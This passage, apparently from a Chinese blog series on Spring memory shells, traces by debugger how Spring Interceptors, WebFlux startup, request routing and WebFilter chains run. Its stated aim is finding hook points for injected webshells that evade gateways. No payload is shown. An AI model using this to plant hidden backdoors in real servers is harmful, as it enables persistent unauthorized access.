Interceptor引入与执行流程分析\n\n我们回顾之前聊到的`Controller`的思路和下面的`4.1`节中所展示的`Controller`内存马，可以考虑到这样一个问题：\n\n\u003e 随着微服务部署技术的迭代演进，大型业务系统在到达真正的应用服务器的时候，会经过一些系列的网关、复杂均衡以及防火墙等。所以如果你新建的`shell`路由不在这些网关的白名单中，那么就很有可能无法访问到，在到达应用服务器之前就会被丢弃。我们要达到的目的就是在访问正常的业务地址之前，就能执行我们的代码。所以，在注入`java`内存马时，尽量不要使用新的路由来专门处理我们注入的`webshell`逻辑，最好是在每一次请求到达真正的业务逻辑前，都能提前进行我们`webshell`逻辑的处理。在`tomcat`容器下，有`filter`、`listener`等技术可以达到上述要求。那么在 `spring` 框架层面下，有办法达到上面所说的效果吗？      ——摘编自`https://github.com/Y4tacker/JavaSec/blob/main/5.内存马学习/Spring/利用intercetor注入Spring内存马/index.md`和`https://landgrey.me/blog/19/`\n\n答案是当然有，这就是我们要讲的`Spring Interceptor`，`Spring`框架中的一种拦截器机制。\n\n那就不禁要问了：这个`Spring Interceptor`和我们之前所说的`Filter`的区别是啥？\n\n\u003e 参考：https://developer.aliyun.com/article/925400\n\n主要有以下六个方面：\n\n| 主要区别                 | 拦截器                                                   | 过滤器                      |\n| ------------------------ | -------------------------------------------------------- | --------------------------- |\n| 机制                     | `Java`反射机制                                           | 函数回调                    |\n| 是否依赖`Servlet`容器    | 不依赖                                                   | 依赖                        |\n| 作用范围                 | 对`action`请求起作用                                     | 对几乎所有请求起作用        |\n| 是否可以访问上下文和值栈 | 可以访问                                                 | 不能访问                    |\n| 调用次数                 | 可以多次被调用                                           | 在容器初始化时只被调用一次  |\n| `IOC`容器中的访问        | 可以获取`IOC`容器中的各个`bean`（基于`FactoryBean`接口） | 不能在`IOC`容器中获取`bean` |\n\n我们在`2.10.2`节中给出的`TestInterceptor.java`的`preHandle`函数这里下断点，然后访问`http://127.0.0.1:8080/?cmd=whoami`进入调试：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240119210645412.png)\n\n一步步步入调试之后，发现进入`org.springframework.web.servlet.DispatcherServlet#doDispatch`方法：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240119211041073.png)\n\n我们在`doDispatch`方法的第一行下断点，重新访问页面调试：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240119211454480.png)\n\n看到了调用了`getHandler`这个函数，它的注释写的简单易懂：确定处理当前请求的`handler`，我们`step into`看看：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240119213144754.png)\n\n通过遍历当前`handlerMapping`数组中的`handler`对象，来判断哪个`handler`来处理当前的`request`对象：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240119213521627.png)\n\n继续步入这个函数里面所用到的`mapping.getHandler`方法，也就是`org.springframework.web.servlet.handler.AbstractHandlerMapping#getHandler`：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240119214714153.png)\n\n代码简单易懂，先是通过`getHandlerInternal`来获取，如果获取不到，那就调用`getDefaultHandler`来获取默认的，如果还是获取不到，就直接返回`null`；然后检查`handler`是不是一个字符串，如果是，说明可能是一个`Bean`的名字，这样的话就通过`ApplicationContext`来获取对应名字的`Bean`对象，这样就确保 `handler` 最终会是一个合法的处理器对象；接着检查是否已经有缓存的请求路径，如果没有缓存就调用 `initLookupPath(request)` 方法来初始化请求路径的查找；最后通过 `getHandlerExecutionChain` 方法创建一个处理器执行链。\n\n这么看下来，这个`getHandlerExecutionChain`方法很重要，我们步入看看：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240119220340092.png)\n\n遍历`adaptedInterceptors`，判断拦截器是否是`MappedInterceptor`类型，如果是那就看`MappedInterceptor`是否匹配当前请求，如果匹配则将其实际的拦截器添加到执行链中，如果不是这个类型的那就直接将拦截器添加到执行链中。\n\n再回到之前的`getHandler`方法中来，看看它的后半段：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240119223022260.png)\n\n主要都是处理跨域资源共享（`CORS`）的逻辑，只需要知道在涉及`CORS`的时候把`request`、`executionChain`和`CORS`配置通过`getCorsHandlerExecutionChain`调用封装后返回就行了。\n\n一步步执行回到一开始的`getHandler`中，这里就是调用`org.springframework.web.servlet.HandlerExecutionChain#applyPreHandle`方法来遍历所有拦截器进行预处理，后面的代码就基本不需要了解了：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240119223829102.png)\n\n## 2.12 Spring WebFlux介绍与代码调试分析\n\n`SpringWebFlux`是`Spring Framework 5.0`中引入的新的响应式`web`框架。传统的`Spring MVC`在处理请求时是阻塞的，即每个请求都会占用一个线程，如果有大量请求同时到达，就需要大量线程来处理，可能导致资源耗尽。为了解决这个问题，`WebFlux`引入了非阻塞的响应式编程模型，通过使用异步非阻塞的方式处理请求，能够更高效地支持大量并发请求，提高系统的吞吐量；并且它能够轻松处理长连接和`WebSocket`，适用于需要保持连接的应用场景，如实时通讯和推送服务；在微服务架构中，服务之间的通信往往需要高效处理，`WebFlux`可以更好地适应这种异步通信的需求。\n\n关于`Reactive`和`Spring WebFlux`的相关知识，可以参考知乎上的这篇文章，讲的通俗易懂，很透彻：\n\n\u003e https://zhuanlan.zhihu.com/p/559158740\n\n`WebFlux`框架开发的接口返回类型必须是`Mono\u003cT\u003e`或者是`Flux\u003cT\u003e`。因此我们第一个需要了解的就是什么是`Mono`以及什么是`Flux`。\n\n### 2.12.1 什么是Mono？\n\n`Mono`用来表示包含`0`或`1`个元素的异步序列，它是一种异步的、可组合的、能够处理异步数据流的类型。比方说当我们发起一个异步的数据库查询、网络调用或其他异步操作时，该操作的结果可以包装在`Mono`中，这样就使得我们可以以响应式的方式处理异步结果，而不是去阻塞线程等待结果返回，就像我们在`2.10.3`节中的那张`gif`图中所看到的那样。\n\n下面我们来看看`Mono`常用的`api`：\n\n|                             API                              |                             说明                             |                           代码示例                           |\n| :----------------------------------------------------------: | :----------------------------------------------------------: | :----------------------------------------------------------: |\n|                     `Mono.just(T data)`                      |               创建一个包含指定数据的 `Mono`。                |       `Mono\u003cString\u003e mono = Mono.just(\"Hello, Mono!\");`       |\n|                        `Mono.empty()`                        |                    创建一个空的 `Mono`。                     |           `Mono\u003cObject\u003e emptyMono = Mono.empty();`           |\n|                `Mono.error(Throwable error)`                 |                 创建一个包含错误的 `Mono`。                  | `Mono\u003cObject\u003e errorMono = Mono.error(new RuntimeException(\"Something went wrong\"));` |\n|          `Mono.fromCallable(Callable\u003cT\u003e supplier)`           |    从 Callable 创建 `Mono`，表示可能抛出异常的异步操作。     | `Mono\u003cString\u003e resultMono = Mono.fromCallable(() -\u003e expensiveOperation());` |\n|            `Mono.fromRunnable(Runnable runnable)`            |     从 Runnable 创建 `Mono`，表示没有返回值的异步操作。      | `Mono\u003cVoid\u003e runnableMono = Mono.fromRunnable(() -\u003e performAsyncTask());` |\n|                 `Mono.delay(Duration delay)`                 |             在指定的延迟后创建一个空的 `Mono`。              | `Mono\u003cObject\u003e delayedMono = Mono.delay(Duration.ofSeconds(2)).then(Mono.just(\"Delayed Result\"));` |\n| `Mono.defer(Supplier\u003c? extends Mono\u003c? extends T\u003e\u003e supplier)` |        延迟创建 `Mono`，直到订阅时才调用供应商方法。         | `Mono\u003cString\u003e deferredMono = Mono.defer(() -\u003e Mono.just(\"Deferred Result\"));` |\n| `Mono.whenDelayError(Iterable\u003c? extends Mono\u003c? extends T\u003e\u003e monos)` | 将一组 `Mono` 合并为一个 `Mono`，当其中一个出错时，继续等待其他的完成。 | `Mono\u003cString\u003e resultMono = Mono.whenDelayError(Arrays.asList(mono1, mono2, mono3));` |\n|   `Mono.map(Function\u003c? super T, ? extends V\u003e transformer)`   |                 对 `Mono` 中的元素进行映射。                 |   `Mono\u003cInteger\u003e resultMono = mono.map(s -\u003e s.length());`    |\n| `Mono.flatMap(Function\u003c? super T, ? extends Mono\u003c? extends V\u003e\u003e transformer)` |               对 `Mono` 中的元素进行异步映射。               | `Mono\u003cInteger\u003e resultMono = mono.flatMap(s -\u003e Mono.just(s.length()));` |\n|          `Mono.filter(Predicate\u003c? super T\u003e tester)`          |                    过滤 `Mono` 中的元素。                    | `Mono\u003cString\u003e filteredMono = mono.filter(s -\u003e s.length() \u003e 5);` |\n|             `Mono.defaultIfEmpty(T defaultVal)`              |               如果 `Mono` 为空，则使用默认值。               | `Mono\u003cString\u003e resultMono = mono.defaultIfEmpty(\"Default Value\");` |\n| `Mono.onErrorResume(Function\u003c? super Throwable, ? extends Mono\u003c? extends T\u003e\u003e fallback)` |             在发生错误时提供一个备用的 `Mono`。              | `Mono\u003cString\u003e resultMono = mono.onErrorResume(e -\u003e Mono.just(\"Fallback Value\"));` |\n|        `Mono.doOnNext(Consumer\u003c? super T\u003e consumer)`         |               在成功时执行操作，但不更改元素。               | `Mono\u003cString\u003e resultMono = mono.doOnNext(s -\u003e System.out.println(\"Received: \" + s));` |\n|    `Mono.doOnError(Consumer\u003c? super Throwable\u003e onError)`     |                    在发生错误时执行操作。                    | `Mono\u003cString\u003e resultMono = mono.doOnError(e -\u003e System.err.println(\"Error: \" + e.getMessage()));` |\n|        `Mono.doFinally(Consumer\u003cSignalType\u003e action)`         |                 无论成功还是出错都执行操作。                 | `Mono\u003cString\u003e resultMono = mono.doFinally(signal -\u003e System.out.println(\"Processing finished: \" + signal));` |\n\n### 2.12.2 什么是Flux？\n\n`Flux`表示的是`0`到`N`个元素的异步序列，可以以异步的方式按照时间的推移逐个或一批一批地`publish`元素。也就是说，`Flux`允许在处理元素的过程中，不必等待所有元素都准备好，而是可以在它们准备好的时候立即推送给订阅者。这种异步的推送方式使得程序可以更灵活地处理元素的生成和消费，而不会阻塞执行线程。\n\n下面是`Flux`常用的`api`：\n\n|           API           |                   说明                   |                           代码示例                           |\n| :---------------------: | :--------------------------------------: | :----------------------------------------------------------: |\n|     **`Flux.just`**     |         创建包含指定元素的`Flux`         |       `Flux\u003cString\u003e flux = Flux.just(\"A\", \"B\", \"C\");`        |\n| **`Flux.fromIterable`** |          从`Iterable`创建`Flux`          | `List\u003cString\u003e list = Arrays.asList(\"A\", \"B\", \"C\");`\u003cbr\u003e`Flux\u003cString\u003e flux = Flux.fromIterable(list);` |\n|  **`Flux.fromArray`**   |             从数组创建`Flux`             | `String[] array = {\"A\", \"B\", \"C\"};`\u003cbr\u003e`Flux\u003cString\u003e flux = Flux.fromArray(array);` |\n|    **`Flux.empty`**     |            创建一个空的`Flux`            |           `Flux\u003cObject\u003e emptyFlux = Flux.empty();`           |\n|    **`Flux.error`**     |         创建一个包含错误的`Flux`         | `Flux\u003cObject\u003e errorFlux = Flux.error(new RuntimeException(\"Something went wrong\"));` |\n|    **`Flux.range`**     |    创建包含指定范围的整数序列的`Flux`    |        `Flux\u003cInteger\u003e rangeFlux = Flux.range(1, 5);`         |\n|   **`Flux.interval`**   |      创建包含定期间隔的元素的`Flux`      | `Flux\u003cLong\u003e intervalFlux = Flux.interval(Duration.ofSeconds(1)).take(5);` |\n|    **`Flux.merge`**     |    合并多个Flux，按照时间顺序交织元素    | `Flux\u003cString\u003e flux1 = Flux.just(\"A\", \"B\");`\u003cbr\u003e`Flux\u003cString\u003e flux2 = Flux.just(\"C\", \"D\");`\u003cbr\u003e`Flux\u003cString\u003e mergedFlux = Flux.merge(flux1, flux2);` |\n|    **`Flux.concat`**    |     连接多个`Flux`，按照顺序发布元素     | `Flux\u003cString\u003e flux1 = Flux.just(\"A\", \"B\");`\u003cbr\u003e`Flux\u003cString\u003e flux2 = Flux.just(\"C\", \"D\");`\u003cbr\u003e`Flux\u003cString\u003e concatenatedFlux = Flux.concat(flux1, flux2);` |\n|     **`Flux.zip`**      | 将多个`Flux`的元素进行配对，生成`Tuple`  | `Flux\u003cString\u003e flux1 = Flux.just(\"A\", \"B\");`\u003cbr\u003e`Flux\u003cString\u003e flux2 = Flux.just(\"1\", \"2\");`\u003cbr\u003e`Flux\u003cTuple2\u003cString, String\u003e\u003e zippedFlux = Flux.zip(flux1, flux2);` |\n|    **`Flux.filter`**    |            过滤满足条件的元素            | `Flux\u003cInteger\u003e numbers = Flux.range(1, 5);`\u003cbr\u003e`Flux\u003cInteger\u003e filteredFlux = numbers.filter(n -\u003e n % 2 == 0);` |\n|     **`Flux.map`**      |             转换每个元素的值             | `Flux\u003cString\u003e words = Flux.just(\"apple\", \"banana\", \"cherry\");`\u003cbr\u003e`Flux\u003cInteger\u003e wordLengths = words.map(String::length);` |\n|   **`Flux.flatMap`**    | 将每个元素映射到一个`Flux`，并将结果平铺 | `Flux\u003cString\u003e letters = Flux.just(\"A\", \"B\", \"C\");`\u003cbr\u003e`Flux\u003cString\u003e flatMappedFlux = letters.flatMap(letter -\u003e Flux.just(letter, letter.toLowerCase()));` |\n\n### 2.12.3 Spring WebFlux启动过程分析\n\n本来是想先用文字聊一堆关于`Spring MVC`和`Spring WebFlux`之间的区别的，但是这个已经被网上现有的不多的关于`WebFlux`的文章讲烂了，大家随便搜都可以搜到，皮毛性的东西纯属浪费时间，于是我们直接看代码，去深挖`WebFlux`的调用过程，从中我们自然可以发现这两者在调用过程中的类似和不同的地方。\n\n我们直接在`run`方法这里下断点，然后直接`step into`：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240122151538700.png)\n\n一步步地`step over`之后，我们可以看到调用了`org.springframework.boot.SpringApplication#createApplicationContext`这个方法（前面的那些方法并不重要，直接略过就行）：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240122151616672.png)\n\n这个方法光听名字`createApplicationContext`，就感觉很重要，因为字面意思就是创建`ApplicationContext`，这正是我们感兴趣的内容，我们`step into`进去看看：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240122152201947.png)\n\n可以看到，是根据不同的`webApplicationType`去选择创建不同的`context`，比如我们这里的`webApplicationType`就是`REACTIVE`，也就是响应式的。\n\n我们`step into`这里的`create`方法：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240122152757458.png)\n\n发现里面有两个静态方法、一个`create`方法和一个默认实现 `DEFAULT`，这个默认实现通过加载 `ApplicationContextFactory` 的所有候选实现，创建相应的上下文；如果没有找到合适的实现，则默认返回一个 `AnnotationConfigApplicationContext` 实例。\n\n我们继续`step over`走下去，可以看到我们`REACTIVE`对应的`context`是`AnnotationConfigReactiveWebServerApplicationContext`：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240122153321207.png)\n\n继续往下走，我们会回到一开始这里，可以看到接下来会调用`prepareContext`、`refreshContext`和`afterRefresh`方法，这个过程就是一系列的初始化、监听的注册等操作：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240122153436756.png)\n\n我们`step into`这里的`refreshContext`方法：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240122154347190.png)\n\n接着`step into`这里的`refresh`方法：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240122154415854.png)\n\n进来之后，接着`step into`这里的`refresh`方法：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240122154457308.png)\n\n可以看到，这里调用了一个`super.refresh`，也就是父类的`refresh`方法：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240122154526246.png)\n\n我们继续`step into`查看，发现这里调用了`onRefresh`方法：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240122154705098.png)\n\n我们`step into`这里的`onRefresh`，发现它调用了关键的`org.springframework.boot.web.reactive.context.ReactiveWebServerApplicationContext#createWebServer`：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240122154751318.png)\n\n继续`step over`可以看到，由于我们使用的是`Netty`而不是`Tomcat`，因此这里最终会调用`NettyReactiveWebServerFactory`类中的`getWebServer`方法：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240122155504128.png)\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240122155752526.png)\n\n而上图中的`WebServerManager`类也是一个重要的封装类，里面有两个成员变量，一个是底层服务器的抽象`WebServer`，另一个是上层方法处理者的抽象`DelayedInitializationHttpHandler`：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240122172421426.png)\n\n那这个`webserver`具体是怎么启动的呢？我们继续走到`finishRefresh`这个方法这里来，如果这里我们直接无脑`step over`，程序最终会回到`run`方法，说明，启动`webserver`的地方肯定就在这个`finishRefresh`方法里面：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240122174153904.png)\n\n我们`step into`进去看看：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240122174401684.png)\n\n接着`step into`去看看这里调用的`getLifecycleProcessor().onRefresh()`方法，发现调用了`startBeans`方法，并且设置了自启动：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240122174441696.png)\n\n我们直接`step into`这个`startBeans`方法，一步步地`step over`过后，会发现调用了`start`方法，看来我们在逐渐逼近真相：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240122174628586.png)\n\n我们继续`step into`这个`start`方法，发现调用了`org.springframework.context.support.DefaultLifecycleProcessor#doStart`这个方法：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240122174728904.png)\n\n直接`step into`进去看看，发现由于`dependenciesForBean`为[]，所以没有调用`doStart`方法，直接就是调用`bean.start()`：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240122174837382.png)\n\n继续`step into`这个`start`方法看看：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240122180726791.png)\n\n怎么会啥也没有呢？奇了怪了，到底是哪里出了问题了呢？我在这一步愣住了，决定把之前打的断点取消，在如下俩图所示的位置打上断点重新调试，因为这两个方法是关键方法：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240122180840172.png)\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240122180857277.png)\n\n调试了几遍之后发现是我疏忽了，这里的`this.lifecycleBeans`里面其实有三个，每调用一次`doStart`方法就会删掉一个：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240122181045819.png)\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240122181305946.png)\n\n可以看到，我们刚才调用的是第一个`bean`的，所以当然没有启动`webserver`相关的方法了：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240122181456742.png)\n\n我们一步步`step over`，当`memeber.name`为`webServerStartStop`时，我们再`step into`这个`doStart`方法里面的`bean.start()`：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240122181729409.png)\n\n即可看到`this.weServerManager.start()`：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240122181751790.png)\n\n我们继续`step into`这个`start`方法：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240122181838844.png)\n\n仔细看看上面红框中的代码，先是初始化`HttpHandler`，这个方法其实根据`lazyInit`的值的不同来决定何时初始化，如果`lazyInit`值为`true`，那么就等第一次请求到来时才真正初始化；如果为`false`，那么就在 `WebServerManager` 的 `start` 方法中调用 `initializeHandler` 直接初始化：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240122182528529.png)\n\n我们继续步入这里的`start`方法，发现其位置为`org.springframework.boot.web.embedded.netty.NettyWebServer#start`\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240122182700152.png)\n\n到这里才算真正明了，真正的`webServer`启动的关键方法是`org.springframework.boot.web.embedded.netty.NettyWebServer#startHttpServer`：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240122182843455.png)\n\n从下面的`this.webServer`中也可以看到，绑定的是`0.0.0.0:9191`：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240122183119082.png)\n\n### 2.12.4 Spring WebFlux请求处理过程分析\n\n当一个请求过来的时候，`Spring WebFlux`是如何进行处理的呢？\n\n这里我们在`org.example.webfluxmemoryshelldemo.hello.GreetingHandler#hello`这里打上断点，然后进行调试，访问`http://127.0.0.1:9191/hello`触发`debug`：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240122205005835.png)\n\n一步步地`step over`后来到`org.springframework.web.reactive.DispatcherHandler#invokeHandler`：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240122210839343.png)\n\n`step into`之后可以看到是`org.springframework.web.reactive.DispatcherHandler#handle`：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240122210930120.png)\n\n解释上面代码中的`return`部分，首先检查`handlerMappings`是否为`null`，如果是，那就调用`createNotFoundError`方法返回一个表示未找到处理程序的`Mono`；接着通过`CorsUtils.isPreFlightRequest`方法检查是否为预检请求，如果是，那就调用`handlePreFlight`方法处理预检请求，如果不是预检请求且`handlerMappings`不为`null`，通过一系列的操作，获取到请求的`handler`，然后调用`invokeHandler`方法执行处理程序，再调用`handleResult`方法处理执行结果，最终返回一个表示处理完成的`Mono`。\n\n左下角的`Threads \u0026 Variables`这里，我们往下翻，可以看到在此之前是调用了一个`org.springframework.web.reactive.handler.AbstractHandlerMapping#getHandler`：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240122213235191.png)\n\n我们把之前的断点去掉，然后在该函数这里打上断点：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240122214012047.png)\n\n发现调用了`org.springframework.web.reactive.handler.AbstractHandlerMapping#getHandlerInternal`，我们再回去看，发现调用位置在`org.springframework.web.reactive.function.server.support.RouterFunctionMapping#getHandlerInternal`：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240122215515467.png)\n\n点击去：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240122222157225.png)\n\n这里最终创建的是`DefaultServerRequest`对象，需要注意的是在创建该对象时将`RouterFunctionMapping`中保存的`HttpMessageReader`列表作为参数传入，这样`DefaultServerRequest`对象就有了解析参数的能力。\n\n回到`getHandlerInternal`这个函数，看它的`return`里面的匿名函数，发现其调用了`org.springframework.web.reactive.function.server.RouterFunction#route`，我们点进去看看：\n\n发现只是在接口中定义了下：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240122222804578.png)\n\n于是去翻之前的`Threads \u0026 Variables`：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240122222845434.png)\n\n首先调用`this.predicate.test`方法来判断传入的`ServerRequest`是否符合路由要求，如果匹配到了处理方法，那就将保存的`HandlerFunction`实现返回，否则就返回空的`Mono`。\n\n点进去这个`test`方法，发现还是个接口，结合之前的`RouterFunction.java`和`RouterFunctions.java`的命名规则，合理猜测`test`方法的实现应该是在`RequestPredicates.java`里面。果然是有的，我们取消之前下的所有断点，在`test`函数这里重新打上断点后调试：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240122223953217.png)\n\n可以看到这里已经拿到了`pattern`，那就还差解析`request`里面的`GET`这个方法了：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240122234829435.png)\n\n我们继续`step over`，发现直接跳到了这里，我当时就挺纳闷儿，这里的`this.left`和`this.right`怎么就已知了：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240123000521320.png)\n\n这俩变量已知说明在执行`test`之前肯定是已经被赋值了，我继续往后`step over`，从下图中可以看到，此时二者之间多了个`\u0026\u0026`，不难猜测，应该是调用了`org.springframework.web.reactive.function.server.RequestPredicates.AndRequestPredicate`方法，因为还有一个`OrRequestPredicate`，这个`or`的话应该就是`||`了：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240123000839479.png)\n\n于是我们再在`AndRequestPredicate`方法这打上断点，此时我们还没有访问`http://127.0.0.1:9191/hello`，就已经触发调试了，这是因为我们在`GreetingRouter.java`里面写的代码中有`GET`方法、`/hello`路由还有`and`方法，因此会调用到`AndRequestPredicate`，并把`GET`和`/hello`分别复制给`this.left`和`this.right`：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240123001430128.png)\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240123001241437.png)\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240123001306237.png)\n\n到这里，我们基本就了解了路由匹配这么个事情。接下来我们要考虑的事情就是如何处理请求，这个就比较简单了，为什么这么说呢？因为在我们`2.12.3`节中的分析中已经基本涉及到了。我们还是在`org.springframework.web.reactive.DispatcherHandler#invokeHandler`打下断点调试：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240123002322377.png)\n\n可以看到，这里的`this.handlerAdapters`里面有四个`handlerAdapter`：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240123002406757.png)\n\n并不是所有的`handlerAdapter`都会触发`handle`方法，只有当支持我们给定的`handler`的`handlerAdapter`才可以调用：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240123002524030.png)\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240123002714255.png)\n\n然后我们`step into`这里的`handlerAdapter.handle`方法，发现是在`org.springframework.web.reactive.function.server.support.HandlerFunctionAdapter#handle`：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240123002806521.png)\n\n而这里的`handlerFunction.handle`也就是我们编写的`route`方法：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240123002927429.png)\n\n到这里，关于处理请求的部分也就完结了。\n\n### 2.12.5 Spring WebFlux过滤器WebFilter运行过程分析\n\n对于`Spring WebFlux`而言，由于没有拦截器和监听器这个概念，要想实现权限验证和访问控制的话，就得使用`Filter`，关于这一部分知识可以参考Spring的官方文档：\n\n\u003e https://docs.spring.io/spring-security/reference/reactive/configuration/webflux.html\n\n而在`Spring Webflux`中，存在两种类型的过滤器：一个是`WebFilter`，实现自`org.springframework.web.server.WebFilter`接口。通过实现这个接口，可以定义全局的过滤器，它可以在请求被路由到`handler`之前或者之后执行一些逻辑；另一个就是`HandlerFilterFunction`，它是一种函数式编程的过滤器类型，实现自`org.springframework.web.reactive.function.server.HandlerFilterFunction`接口，与`WebFilter`相比它更加注重函数式编程的风格，可以用于处理基于路由的过滤逻辑。\n\n这里我们以`WebFilter`为例，看看它的运行过程。新建一个`GreetingFilter.java`，代码如下：\n\n```java\npackage org.example.webfluxmemoryshelldemo.hello;\n\nimport org.springframework.http.server.reactive.ServerHttpRequest;\nimport org.springframework.stereotype.Component;\nimport org.springframework.web.server.ServerWebExchange;\nimport org.springframework.web.server.WebFilter;\nimport org.springframework.web.server.WebFilterChain;\nimport org.springframework.web.util.pattern.PathPattern;\nimport org.springframework.web.util.pattern.PathPatternParser;\nimport reactor.core.publisher.Mono;\n\n@Component\npublic class GreetingFilter implements WebFilter {\n    @Override\n    public Mono\u003cVoid\u003e filter(ServerWebExchange serverWebExchange, WebFilterChain webFilterChain) {\n        PathPattern pattern=new PathPatternParser().parse(\"/hello/**\");\n        ServerHttpRequest request=serverWebExchange.getRequest();\n        if (pattern.matches(request.getPath().pathWithinApplication())){\n            System.out.println(\"hello, this is our filter!\");\n        }\n        return webFilterChain.filter(serverWebExchange);\n    }\n}\n```\n\n效果如下：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240124143107182.png)\n\n我们直接在`filter`函数这里下断点，进行调试：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240125211900082.png)\n\n注意到`return`中调用了`filter`函数，于是`step into`看看：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240125220915532.png)\n\n可以看到是调用了`invokeFilter`函数。我们仔细看看这个`DefaultWebFilterChain`类：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240126131433346.png)\n\n可以看到是有三个名为`DefaultWebFilterChain`的函数，其中第一个是公共构造函数，第二个是私有构造函数（用来创建`chain`的中间节点），第三个是已经过时的构造函数。而在该类的注释中，有这样一句话：\n\n\u003e Each instance of this class represents one link in the chain. The public constructor DefaultWebFilterChain(WebHandler, List) initializes the full chain and represents its first link.\n\u003e\n\u003e ![](C:\\Users\\test\\AppData\\Roaming\\Typora\\typora-user-images\\image-20240126131914865.png)\n\n也就是说，通过调用 `DefaultWebFilterChain` 